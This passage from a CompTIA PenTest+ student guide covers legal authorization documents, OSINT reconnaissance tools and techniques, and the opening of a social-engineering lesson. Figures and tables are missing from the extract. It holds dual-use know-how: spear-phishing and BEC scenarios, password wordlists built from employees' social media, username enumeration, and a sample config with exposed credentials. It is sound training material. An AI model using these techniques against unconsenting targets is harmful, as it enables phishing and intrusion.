LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 35
Topic 2C
Prepare Legal Documents
5
Once everyone has agreed to the terms, the team will need to draw up the legal
documents that will define the body of work the team will perform. In this section,
we’ll review some of the documentation that may be required prior to testing that
includes a Nondisclosure Agreement and Statement of Work along with Master
Service Agreement. While each of the documents have their own specific purpose,
they will outline specifics such as customer obligations and termination rights for
both parties along with any other relevant details.
Let’s start with the need to ensure confidentiality.
Ensuring Confidentiality
When testing a system, the team will want to avoid creating a liability, by ensuring
everyone takes the necessary precautions to protect the confidentiality of the data.
During the planning stage, each team member must have a clear understanding of
what data to avoid. This is important, as specific laws may apply to the business unit
or application affected while testing.
For example, the following will influence how data is handled:
• The Gramm-Leach-Bliley Act (GLBA) requires financial institutions ensure
the security and confidentiality of client information and take steps to keep
customer information secure.
• The Driver’s Privacy Protection Act governs the privacy and disclosure of
personal information gathered by state Departments of Motor Vehicles.
Ensuring confidentiality will require all data be handled appropriately. The team
will need to review specific guidelines on how best to protect the data. Guidelines
include requiring that any collected data be encrypted during and after the test and
describing how the team should dispose of the data after the PenTest is complete.
Because of confidentiality requirements, each team member will most likely
have to sign a Nondisclosure agreement (NDA). An NDA is a legal document
that stipulates the parties will not share confidential information, knowledge, or
materials with unauthorized third parties.
One of the most important elements of planning and scoping is the final
document(s) that explicitly gives the team authorization to conduct the PenTest
exercise. Let’s see what’s involved, next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
36 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• What specific networks, hosts, and applications are to be included in the PenTest
The legal documents will provide the written authorization for the team to simulate
attacks on the organization.
Another key document that will govern all of their future transactions or future
agreements between the PenTesting team and the client is a Master Service
Agreement (MSA).
• Compensation specifics that include invoicing and any reports required when
submitted
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 37
Prior to signing, all parties should carefully read the MSA to ensure that the
agreement does not conflict with any other contracts or insurance policies. In
addition, the MSA must be modifiable as there may be necessary changes that may
occur in the future.
A professionally written MSA will help avoid disputes between parties and outline a
clear ending to the PenTest engagement.
Once you have an MSA to solidify the legal terms between the parties, you can then
create one or more Statement of Work (SOW) to outline project-specific services
and payment terms.
Next, let’s discuss the Statement of Work.
Sample SOW
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
38 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The team will need to ensure that you can comply with the requirements and
performance standards of any agreements that you enter into as a service provider.
Along with the terms under which a service is provided, the team will need to
include any disclaimers related to the PenTest in the final documentation.
Prior to completing the document, make sure that you have identified the proper
signing authority who can authorize that the PenTest can take place. This should
include a statement that the undersigned is a signing authority for the organization.
Finally, it is strongly recommended that all parties arrange for legal review of the
authorization document. Once everyone is comfortable with the terms of the
agreement, it’s time to sign the contract(s) and begin planning the PenTest.
As we can see, there are multiple documents that define the nature of the work. No
matter the title, written authorization is essential in a PenTesting engagement as
they help control the amount of liability incurred by the PenTester.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 39
Review Activity:
Legal Documents
6
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
40 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 2
Summary
4
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 3
Footprinting and Gathering
1
Intelligence
LESSON INTRODUCTION
Before actively launching any attacks, the PenTest team must complete a
footprinting exercise. The goal of this activity is to gather as much information
about the target as possible, that includes building a profile on the organization,
network, and systems. In this lesson, we’ll see how to collect essential data, such
as passwords and content within websites that can expose weaknesses. During
this process, the team will find a great deal of information publicly available,
which can be overwhelming. To aid in this discovery, the PenTest team can use
powerful open-source intelligence tools (OSINT) such as Shodan, Maltego, and
Recon-ng that can help ferret out information.
Lesson Objectives
In this lesson, you will:
• Produce information on the target, such as contacts, network, and system
information by using online resources.
• Gather essential data, such as passwords, comments within HTML code, and file
metadata.
• Compile website information that includes cryptographic flaws and links that can
lead the team to hidden information.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
42 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Topic 3A
Discover the Target
2
Once the team has defined the project boundaries and outlined the rules of
engagement, the next step is to discover as much as possible about the target. The
team will conduct passive reconnaissance by scouring online resources such as
social media and job boards to identify key technical and administrative contacts
within the organization. Concurrently, the team will utilize utilities such as nslookup
and dig Domain Name System (DNS) name resolution to learn more about more
about the structure of an organization’s network.
Let’s begin by learning the importance of this critical phase in the PenTesting process.
Gathering Information
Footprinting and reconnaissance involves identifying, discovering, and obtaining
information, and involves a wide variety of tasks, goals, and outcomes that are
essential to the success of the engagement. When complete, the findings will help
the team to better assess the target and evaluate possible attack vectors.
During this phase, the team will search for key contacts, information, and technical
data that can provide a better understanding of the business operations and
reputation of the target organization. To accomplish this, the team will comb
through online articles, news items, social media, and press releases. The
information will help the team test the security posture of an organization, which is
an overall assessment on how well the organization can prevent and/or respond to
a cyberattack.
While gathering intel, the team should record their findings and conclusions in a
way that everyone can view and modify. One possibility is to create a spreadsheet
that lists all major findings. Each finding is listed on their own row, followed by ideas
for the next step(s) in the corresponding columns, as shown below:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 43
This is so you can refer to the document when you need to recall the details of the
activity along with suggestions you had for acting on that information.
In this section, we’ll discover how resources can help give the team a clear picture
of the target and provide choices in the methods used to launch an attack. First,
let’s look at how the team can glean a complete picture of an organization using the
Internet.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
44 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
This type of information might be anecdotal; however, collectively it can help launch
a social engineering attack that targets disgruntled employees.
The data obtained by the team can either help frame the attacks in certain ways or
direct the team to reconsider the overall attack strategy. This is especially true when
preparing unknown, partially unknown tests, as it provides the team with potentially
actionable data on the target.
Attempting to launch an attack on the target without properly gathering critical intel
will make it harder to achieve the goals of the PenTest and may possibly result in
failure.
During this exercise, the team will need to keep in mind that not all information
is useful. It’s difficult to predict what type of information will be relevant until you
learn more about your target, which is what the process of information gathering is
supposed to achieve. As a result, the team will need to gather and then analyze the
data to identify what is and is not relevant to the PenTest operation.
• The teams, their colleagues, and the departments where they work.
• Business related details such as phone numbers, email addresses, office and
workspace locations.
• The overall organizational technical aptitude and whether they’ve been properly
trained in end-user security.
How you leverage the information about people you gathered from various
resources, such as whois, social media, the organization’s website, and more, will
depend on several factors.
Consider the following scenarios:
• The team gathers an executive’s email address, office location, role in the
company and who they manage, all from the organization’s website. The team
then uses the information to prepare a spear phishing attack to try and get the
company to authorize a fraudulent payment.
• Your team discovers the social media profiles of an accounts payable employee
that has information on their date of birth, relationships, interests, and more.
You then use these details in a wordlist to prepare a password cracking attempt
with a more targeted approach.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 45
Keep in mind, not all contacts who may be useful to the PenTest are necessarily
employees or work with the target organization in any capacity. They can also
include friends, family, or customers that have different interactions with an
organization. Collectively, the information can assess a company’s overall security
posture and determine the best for your team to launch a successful attack.
Next, let’s see some of the places you can locate contact information.
• Facebook is used for more in-depth marketing and may be more likely to
include images, videos, and event scheduling.
In addition to social media, job listings can reveal information about the
organization’s personnel structure, technical environments, networking
architecture, and other computing infrastructure.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
46 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
• Monster
• ZipRecruiter
• Indeed
• Glassdoor
The amount and type of information on job postings will depend on the
organization’s industry and the job requirements. For example, a position for a
network administrator will include more information about the technical side of
the organization’s operations than a sales associate position at the same company.
When searching job postings, you can learn about an organization’s technology
stack along with other details, such as:
• The personnel makeup of specific departments and teams, including
administrator contacts.
• The software architecture and services, such as web server and cloud
technologies.
Social media and job listings will provide a great deal of information on the
organization In addition another source of information on the technical aspects of
an organization is in the DNS details, as we’ll see next.
• Nameserver (NS) record lists the authoritative DNS server for a particular
domain.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 47
• Service (SRV) record provides host and port information on services such as
voice over IP (VoIP) and instant messaging (IM).
DNS records are useful as they can reveal additional targets that you may not have
discovered using other OSINT methods. Using certain DNS records can help the
team learn more about the structure of an organization’s network. For example,
you may be able to identify that the organization is using specific services, like VoIP,
by enumerating an SRV record.
While searching for information, there are tools that can help you perform DNS
queries that include:
Nslookup is a command-line tool used in either a Windows or Linux operating
system (OS) that can be used to query a domain and specify various record types.
Dig is a utility widely used on a Linux OS that can perform reverse lookups to match
an IP address to a domain name.
You may be able to find DNS records for an organization using resources found
on the web. As shown below we see the results of enumerating information for
comptia.org:
In addition to mail servers, service records, and nameserver information, DNS can
help us discover additional information on an organization, such as key contacts
within the organization. On such method is by using whois.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
48 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
A typical whois query can be used on a public domain like comptia.org in order to
reveal information about that domain, such as:
• The name of the domain’s registrant.
• The status of the domain, including client and server codes that concern
renewal, deletion, transfer, and related information.
As shown in the graphic, a whois query can provide registrant details for a specific
organization:
A whois query can provide a lot about the target organization and how its domain
is configured. The team can then use this information to take more targeted actions
against the domain’s contacts, as well as the underlying architecture of the domain.
A whois query can be executed using a command-line interface (CLI), however,
there are also web apps available that enable users to run queries.
As you might expect, attackers, especially spammers, use Whois data to target their
operations. As a result, whois data raises issues of privacy, as queried data can
reveal personally identifiable information (PII), not to mention information about
the organization that an attacker can leverage.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 49
The rise of data privacy regulations like the General Data Protection Regulation
(GDPR) has led to increased scrutiny of the Whois protocol. The Internet
Corporation for Assigned Names and Numbers (ICANN) has stated that they aim to
“reinvent” Whois to be more in line with recent privacy concerns. This may mean
that data that was once publicly available through Whois no longer will be available.
However, the exact details of the proposed changes are not known at this time.
Some registrars offer services where they set themselves as the owner and contacts,
enabling the real registrant's information to remain private. This can make it more
difficult for you to glean useful information from Whois.
Gathering organizational data will give the team a better picture of the
organization. Once analyzed this will help determine the security posture of the
organization so the team can properly frame the PenTesting activity.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
50 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Review Activity:
3
The Target
Answer the following questions:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 51
Topic 3B
Gather Essential Data
4
Data is everywhere. The key during a PenTest exercise is being able to locate
essential data that can be used during the attack phase. In this section, we’ll see
how we can use public source-code repositories and conduct strategic search
engine analysis and enumeration. In addition, we’ll see the value of digging through
archived websites and searching for images using TinEye. Let’s start with seeing
how we can use source code repositories.
Repository Features
GitHub Enables teams to work together, regardless of their
location, is free to basic users, and reasonable costs for
teams and enterprise users.
Bitbucket Allows inline comments, a secured workflow, and free to
small teams, fee based for larger groups.
CloudForge Offers bug and issue tracking, discussion forums, and
document management. You can get a free trial for
30 days, after which there is a nominal fee.
SourceForge Is free to everyone, and features discussion forums and
issue tracking
Open-source code repositories
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
52 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
For each repository, developers generally follow a process. Let’s step through an
example of how 515support.com might use a code repository:
1. 515support.com has a public repository that houses the code for several
applications.
2. Each developer works on their part of source code, and only commit changes
to the public repository when they are satisfied with the version.
3. The maintainer (or project leader) evaluates the code, and then will add only
approved parts of the code to become part of the main source code.
Along with the convenience of the repositories, comes risks. However, developers
aren’t always aware of these risks, and malicious actors examine the repositories
in hopes of unearthing sensitive and restricted information. That is why viewing a
company’s open-source code repository is essential during a PenTest. Some of the
security vulnerabilities the team might find includes:
• Developers that post have put private files into their repositories that are then
copied into the public storage area. The files can then be searched.
• Code can include the names and information on employees, which can be used
in a spear phishing attack or credential theft.
• Code can be modified, which can lead to an infrastructure attack or shut down
systems or applications.
tls_config
insecure_skip_verify: true
basic_auth:
username: bluedog
password: orangetigerkittens
scheme: https
tls_config:
Exposed code and other vulnerabilities exist. One way to locate the
vulnerabilities is by actively searching using advanced searching techniques,
as discussed next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 53
Google hacking queries almost always include a special search operator in order to
cut down on irrelevant results and focus on specific types of desired information.
The following table lists some common search operators that are often used in
Google hacking:
The true power of Google hacking is in combining multiple operations into a single
query. For example, following query will search CompTIA’s website for any PDFs or
DOCX files:
site:comptia.org filetype:pdf OR filetype:docx
This will search CompTIA’s website for any PDFs or DOCX files whose page titles
include the word “Certification” and whose contents (title or body) include the word
“report.”
While the term implies that this type of advanced searching is only available using
Google, other search engines have much of the same functionality. When used, this
will enable the team to obtain the exact type of information you need.
Sometimes the information you need isn’t on a recent web page, but a version that
was published in the past. To locate this information, the team will need to view
archived pages. Let’s take a look at how this works next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
54 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
2. Do an archived search using the Wayback Machine, which is a site that grabs
and archives older websites.
3. Use a web cache viewer extension, that allows you to quickly customize your
search, visit recently viewed pages, or revert back to an older page, to see
what information you can discover.
Which tool you use will depend on what information you need.
Keep in mind that when searching for older websites for specific content, you may
not always be successful. However, it might also unearth other useful information,
such as a company directory.
In addition to searching for standard content such as spreadsheets and documents,
the team might also find images that will help build a profile of the target. In the
next section, let’s explore the value of searching for images.
• Yandex
• Bing
All search engines work in a similar manner: either enter a URL or upload an image,
and the search engine will then hunt for all similar images and then present the
results. When searching for images, the results are not always as expected, and you
may have to try more than one search engine to glean useful information.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 55
You can also modify the search options, such as when to check, what language, and
where to deliver the results when found. Google alerts will then monitor the web
for interesting new content, and if found, Google will notify you.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
56 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Review Activity:
5
Essential Data
Answer the following questions:
1. Your team is tasked in evaluating the source code for 515web.net. They
know that they are using a source-code repository. How should you
proceed?
2. You have heard that there might possibly be a leadership change in the
target’s infrastructure. You are fairly sure that there was a press release
in the past week about the change, but there is no longer a trace of the
story. What can you try to locate this information?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 57
Topic 3C
Compile Website Information
4
The internet is comprised of nearly two billion websites, many of which have one or
more vulnerabilities, which can lead to an attack. That is why evaluating a target’s
website during PenTesting is so important.
When preparing for a web application PenTest, the team will use the standard
approach: scoping, footprinting, and planning before launching any attacks. In
addition, the team will have reviewed some of the guidelines of standard testing
methodologies such as the Open Web Application Security Project (OWASP) and
Payment Card Industry Data Security Standard (PCI DSS).
In this section, we’ll take a look at the importance of gathering information on a
target’s self-hosted or cloud-based website, in preparation for an attack. You’ll
understand how to assess the site for vulnerabilities, by crawling and scraping
websites for useful intel. In addition, we’ll outline the importance of evaluating a site
for flaws within the Secure Sockets Layer (SSL) and Transport Layer Security (TLS)
that can lead to compromise.
Let’s start with discovering the details of the target’s website.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
58 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
within the site. Elements include coupon and reward redemption, content
management system, and integration with the payment gateway.
To begin the process, the team can use one of several tools and techniques to crawl
and scrape websites.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 59
• Subdomains of primary sites that aren’t directly linked or easily visible from the
primary site, such as administrative portals.
• Social media profiles that are used as another (or perhaps, primary) marketing
outlet for the organization.
While a related website might not provide you with the same level of OSINT as the
primary site, it may still provide you with extra details that you wouldn’t otherwise
have obtained. A partner site might reveal more about the relationship with the
target organization. This could possibly provide enough intel for you to attempt to
use the partner as a vector, assuming this is within the project scope. For example,
the Target breach of 2014 was made possible because the attacker(s) stole network
credentials from the retailer’s third-party HVAC provider.
Next let’s take a look at the significance of the robots.txt file.
Web crawlers can also be called bots, spider, spiderbot or user agent.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
60 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
The team should make sure that areas you DON’T want the bots to follow are
clearly identified. For example, in the following we see that the directive is to deny
access to the cart page to all user-agents.
Disallow: * /cart
However, this line will allow all bots to access all content:
User-agent: * Disallow:
Keep in mind that some bots, such as email address scrapers, may bypass the
robots.txt file.
While evaluating the site for vulnerabilities, automated tools can provide a great
deal of information. However, in addition to using automated tools, the team
should also manually inspect the site contents and links for malicious code,
redirects and questionable behavior.
In addition to enumerating the website platform for vulnerabilities, the team should
also take a look at the certificates within the organization’s websites as part of an
information-gathering effort.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 61
In addition to SANs, the team should investigate the Certificate Transparency (CT)
framework, which are logs of public certificate authorities (CAs) that are published
for anyone to access.
These logs contain information about the certificates for domains and subdomains
issued by a CA. This can enable you to discover subdomains that may be no longer
covered by the certificate but still exist. For example, an organization might have
used a specific SAN in the past but later moved to a wildcard. That past domain
might be listed in the CT logs for the issuing CA.
When conducting a search, you will see the results as follows:
In some cases, the certificate might be invalid for some reason and will be
revoked. Let’s investigate how this can happen.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
62 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
The CRL is a list of certificates that in some way have been deemed invalid. Although
the CRL is effective, most online services have moved to the newer OCSP to check
the validity of the certificate.
This process is as shown in the graphic:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 63
Let’s take a look at how this works. When a client goes to a web server to initiate a
transaction, the following process occurs:
1. The web server sends the client the certificate.
2. The client then goes to the OCSP server to check the validity of the certificate.
While this is a valid process, another way to achieve this is by using certificate
stapling. Let’s see why this improves efficiency.
With certificate stapling, when a client begins a web server transaction, the
following process occurs:
1. The web server goes to the OCSP server to check the validity of the certificate
2. The web server then sends the validated certificate to the client.
Because attacks can occur when using a flawed digital certificate, the team may be
tasked to assess that any SSL/TLS are properly signed and are secure.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
64 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Review Activity:
5
Website Information
Answer the following questions:
3. Once the team has gathered the intel on the target, you’ll want to
determine the best plan of attack when preparing the attack phase
of the PenTest. List some of the guidelines that will help your team be
better prepared.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 65
Topic 3D
Discover Open-Source
Intelligence Tools
4
When searching a closed-source or private site, you will need permission, generally
in the form of a user ID and password, to enter the site and search for information.
In addition, a closed-source site will most likely have limited access and visibility.
This is done to keep information secure and protect sensitive data. In contrast,
open-source sites allow anyone, regardless of affiliation or authorization, to freely
search and gather information without interfering with any laws or regulations.
In this section, we’ll drill down on some popular OSINT tools such as Metagoofil and
Recon-ng and discover how to sift through metadata and research organizational
information. We’ll then finish with a discussion on how the power of Maltego and
Shodan can help the team ferret out valuable information on the target.
Let’s start with learning where the sources of OSINT tools currently available.
In this section, we’ll drill down on some popular OSINT tools, such as Metagoofil.
Shodan, Maltego, and Recon-ng.
Let’s first learn how to unearth metadata from publicly accessible resources.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
66 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Searching Metadata
When searching for actionable intel, the team will find metadata entries that
can expose sensitive information. Metadata is information stored or recorded
as a property of an object, state of a system, or transaction. Metadata includes
information such as the author, company, title, and subject. However, there is
additional metadata, that has minimal relevance, such as time spent editing the
document and word count.
Two tools that aid in the discovery of metadata are Metagoofil and Fingerprinting
Organizations with Collected Archives (FOCA). Let’s start with Metagoofil.
Using Metagoofil
Metagoofil is a Linux-based tool that can search for metadata from public
documents located on the target website(s). It uses Python scripting to locate
metadata within different document types such as df, doc, xls, ppt, odp, ods, docx,
xlsx, and pptx. Metadata entries includes information such as the author, company,
title, and subject. However, there is additional metadata that has minimal relevance
such as time spent editing the document and word count.
Metagoofil is like the app goofile, which can search for a specific file type in a specific
domain.
Command Results
-d comptia.org scan for documents on Comptia.org
-t pdf scan for pdf documents
-l 75 search for 75 documents
-n 25 download 25 files
-o comptiapdf save the downloads to the comptiapdf
directory
Options when using Metagoofil
Another valuable tool is FOCA, which can discover metadata from a variety of sources.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 67
FOCA can work with a variety of document types, including Microsoft Office
(.docx, .xlsx, etc.) along with the OpenDocument format (.odt, .ods, etc.). It can
also analyze PDFs and graphical design file types like the XML-based Scalable
Vector Graphics (SVG) format.
Some of the useful metadata FOCA can extract includes user and people names,
software and OS version information, printer information, plaintext passwords,
and more. Note that, unlike theHarvester, Recon-ng, and Maltego, FOCA is a
Windows-only tool. In addition, it also requires a running SQL server to store
its data in a database.
Next, let’s take a look at ways we can gather organizational data.
On the other hand, if you enter the username and password and the prompt
returned “Password is incorrect,” as shown in the graphic, that will verify that the
username is in the database:
The responses will also reveal how the server responds to “known good” and
“known bad” input.
In addition to collecting and monitoring form data, two OSINT tools that can provide
organizational information are theHarvester and Recon-ng.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
68 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
• Employee names
• Email addresses
theHarvester is relatively simple to use and can automate the information gathering
tasks by using multiple methods that include:
• Google and Bing to gather information from public data sources.
When using theHarvester, you will enter the target domain and the data source. For
example, we see in the screenshot below commands to a search contacts from a
domain -d comptia.org using LinkedIn -b LinkedIn):
Using theHarvester
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 69
Once the data is obtained, the PenTesters can use this information in an exploit,
such as a Spearphishing attack.
Another example is Recon-ng, which is like theHarvester. However, is more robust,
as it includes dozens of different modules.
• File crawler.
In addition, you can do an email address search in the Have I Been Pwned?
database, which will indicate if the account has been associated with a recent
breach. Malicious actors harvest credentials and then provide massive password
dumps on the dark web that can be obtained for a fee.
Once you enter your query, Recon-ng will present the information, as shown in the
screenshot showing a Whois profile of Comptia.org:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
70 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
• External links
• Downloadable files
The results of the query are then placed in node graphs, and then links are
established between each node. This enables the user to analyze how two or more
data points may be connected.
If you run a transform on a domain, Maltego can place that domain at the top of a
tree hierarchy with several branching links to other resources under that domain.
For example, resources can include subdomains enumerated through DNS. Under
these subdomains might be IP addresses and address ranges.
As shown in the screenshot, we see a Maltego graph illustrating the links between
different objects in a domain transform hierarchy for Paterva.com:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 71
When conducting a people-oriented search, the resources that branch off the domain
might include personnel phone numbers, email addresses, and so on. Maltego
provides more than just hierarchical layouts; you can also show objects in a circular
layout, block layout, organic layout (minimal distance between entities), and more.
Note that Maltego is proprietary software and comes in several editions. Maltego
CE is the free edition that will requires you to register with a Maltego Community
account in order to take advantage of a limited set of available transforms.
During footprinting and reconnaissance, it’s also advantageous to search for public
or improperly secured devices that allow remote access through the Internet. Let’s
see how this is possible using Shodan next.
• If the target organization employs control systems for Heating Ventilation Air
Conditioning (HVAC) or industrial equipment, the team may be able to control
these remotely as part of the attack phase.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
72 | The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002)
Review Activity:
5
Open-Source Intelligence Tools
Answer the following questions:
2. The team leader has tasked your group to test the targets physical
security. The target has a main building, loading docks, a parking garage,
and a warehouse. Which OSINT could provide the team with valuable
intel?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student GuideStudy Guide (Exam PT0-002) | 73
Lesson 3
Summary
4
In this lesson we learned the value of the footprinting and reconnaissance phase
of PenTesting. We saw how, by employing proper search methods, we can produce
information on the target, such as contacts, network, and system information by
using online resources. We then evaluated different ways to gather essential data,
such as passwords, comments within HTML code, and file metadata.
By now you understand how to compile website information that includes
cryptographic flaws and links that can lead the team to hidden information.
Additionally, we saw how the organization’s main website can be a valuable
resource to learn more about its personnel and business operations. We then
explored some open-source intelligence tools that aid in identifying vulnerabilities,
such as Internet-connected IoT and network devices that use default passwords.
While OSINT can’t provide all of the resources required to launch a successful
attack, most of the resources will give your team a promising start.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 4
Evaluating Human and Physical
Vulnerabilities
1
LESSON INTRODUCTION
Logical defenses such as access control lists, firewalls, and unified threat
management systems have strengthened over the years. As a result, malicious
actors have turned to a softer target, the human. That is why it’s essential that the
PenTest includes social engineering so the team can test the strength of the human
firewall, along with assessing the physical security aspects of the organization.
In this lesson, we’ll learn how to set up a social engineering exploit and review
various physical attacks such as dumpster diving, shoulder surfing, and cloning a
badge. We’ll then cover some of the methods and tools used to achieve a successful
attack, including the Social Engineering Toolkit (SET).
Lesson Objectives
In this lesson, you will:
• Understand various methods used in social engineering to exploit the human
psyche.
• Demonstrate how using charm, power, and influence, along with a variety of
techniques, such as having a sense of urgency or impersonation, are used to
gain the trust of a victim.
• Summarize physical attacks that can lead to more information such as dumpster
diving or shoulder surfing.
• Discover the tools used to launch a social engineering attack, such as the Social
Engineering Toolkit (SET) in Kali Linux.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
76 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 4A
Exploit the Human Psyche
2
Your team has successfully gathered information on the target, such as email
addresses, phone numbers, and other points of contact. In addition, the team
will have obtained information on individuals in the organization, including their
interests, demeanor, and how they live their lives from day to day.
As a result, the next logical step after gathering people-based OSINT is social
engineering, a powerful and effective tactic that deceives people into giving access
and sensitive data to unauthorized parties.
In this section, you’ll learn ways to leverage the information gathered to contact
individuals in the organization, by using one or more techniques, and trick them
into providing actionable intel. We’ll learn what’s involved in the social engineering
process and how to best approach the target. We’ll then compare phishing,
pharming, and baiting the victim, and how best to use charm, power, and influence
to obtain information or get the victim to complete some action.
Let’s start with learning the basics of social engineering.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 77
whereby the team will communicate, whether directly or indirectly, a lie or half-
truth in order to get someone to believe a falsehood. This belief can prompt the
victim into committing an action they had not intended or is against their better
interests.
The team might also try to get to know their target on a personal level, by using
social media or other method. If the target is comfortable and friendly with
someone, they might trust them. Once the team has gained this trust, the next step
is to motivate the target to take some action or provide useful information.
Part of this process involves using elicitation, which is acquiring data from the
target in order to launch an attack. This is different than information gathered
about the target, in that a social engineer will attempt to learn useful information by
contacting people who may provide key insights. Some techniques include:
• Request—a social engineer in a trusted position asks the target for
information
Using the information from each of the various techniques can provide the social
engineer with insight into how they think or act in certain situations.
Elicitation is useful when used in a variant of phishing called a business email
compromise (BEC). In a BEC, an attacker will either impersonate a high-level
executive or hijack their email account. They then send an email to financial
personnel, requesting money via a method such as a wire transfer. Because the
financial personnel will believe the request is legitimate, they will approve the
transfer. At that point, the attacker will have successfully obtained a payment
without stealing it directly.
An example of a BEC where someone posing as an executive solicits payment from
a finance employee, as shown in the following graphic:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
78 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• An email claiming to be from Amazon states that the target’s account has been
flagged for suspicious activity. The target must sign into Amazon and confirm
